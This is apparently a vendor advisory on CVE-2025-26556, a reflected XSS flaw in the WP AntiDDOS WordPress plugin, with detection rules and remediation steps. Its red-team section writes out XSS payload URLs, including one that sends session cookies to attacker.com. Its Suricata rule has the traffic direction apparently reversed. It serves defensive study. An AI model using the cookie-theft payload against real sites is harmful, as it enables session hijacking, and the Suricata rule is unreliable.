CVE-2025-26556

Executive Summary

CVE-2025-26556 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP AntiDDOS, versions up to and including 2.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. The CVSS score is 7.1 (High), and no public exploit or patch is currently available. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed WP AntiDDOS from the WordPress dashboard or manually are at risk. Since no patch exists, the supply chain risk is elevated, and users should consider removing the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High (7.1) – Reflected XSS can be weaponized for phishing or session theft.

Deep Dive & Mechanics

The WP AntiDDOS plugin fails to sanitize or escape user input before reflecting it in the HTTP response. Specifically, parameters such as ?page= or other query string values are echoed back without proper encoding. An attacker can craft a malicious URL containing JavaScript payloads. When a logged-in administrator or user clicks the link, the script executes in the context of the WordPress admin panel, potentially allowing the attacker to create new admin users, modify settings, or steal session cookies.

The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is typical of WordPress plugins that use $_GET or $_POST values directly in output without using esc_html() or wp_kses().

Vulnerable Code Example (wp-antiddos.php):

<?php
$page = $_GET['page'];
echo "<div class='wrap'><h1>WP AntiDDOS - Page: " . $page . "</h1></div>";
?>

Patched Code (hypothetical):

<?php
$page = isset($_GET['page']) ? esc_html($_GET['page']) : '';
echo "<div class='wrap'><h1>WP AntiDDOS - Page: " . $page . "</h1></div>";
?>

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

1. Setup: Install WordPress with WP AntiDDOS v2.0 on a local server (e.g., XAMPP or Docker).
2. Craft Payload: Create a URL with a malicious script:

   http://target/wp-admin/admin.php?page=<script>alert('XSS')</script>
   

3. Deliver: Send the link to a logged-in admin via email or social engineering.
4. Execute: When the admin clicks, the script runs in the admin context.

Example Payload for Cookie Theft:

http://target/wp-admin/admin.php?page=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team

1. Detection: Monitor web logs for unusual query strings containing <script> tags or encoded JavaScript.
2. Prevention: Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Response: If exploitation is detected, immediately revoke session tokens and force password resets for affected users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin.php with page= parameter containing <script> or %3Cscript%3E.
  • Outbound connections to attacker-controlled domains from the WordPress server.
• File IOCs:
  • Modified .htaccess files or injected JavaScript in WordPress core files.
• Log IOCs:
  • Repeated 200 responses to admin.php with suspicious query strings.
  • User agent strings matching known exploit tools.

Detection Engineering

YARA Rule

rule CVE_2025_26556_WP_AntiDDOS_XSS {
    meta:
        description = "Detects reflected XSS attempts against WP AntiDDOS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26556"
    strings:
        $xss_payload = /page=[^&]*<script[^>]*>/
        $encoded_xss = /page=[^&]*%3Cscript%3E/
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against WP AntiDDOS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts targeting WP AntiDDOS plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - 'page=<script'
            - 'page=%3Cscript%3E'
    condition: selection
falsepositives:
    - Legitimate use of script tags in page names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26556 WP AntiDDOS Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page="; http_uri; pcre:"/page=[^&]*(<script|%3Cscript)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable and remove the WP AntiDDOS plugin until a patch is released.
2. Alternative: Use a different DDoS protection plugin that is actively maintained.
3. WAF Rules: Deploy a Web Application Firewall with rules to block reflected XSS patterns.
4. Input Validation: Ensure all user inputs are sanitized and output is encoded using WordPress functions like esc_html().
5. Monitoring: Enable logging and alerting for suspicious query strings in WordPress admin pages.

Valters IT
Securing Digital Frontiers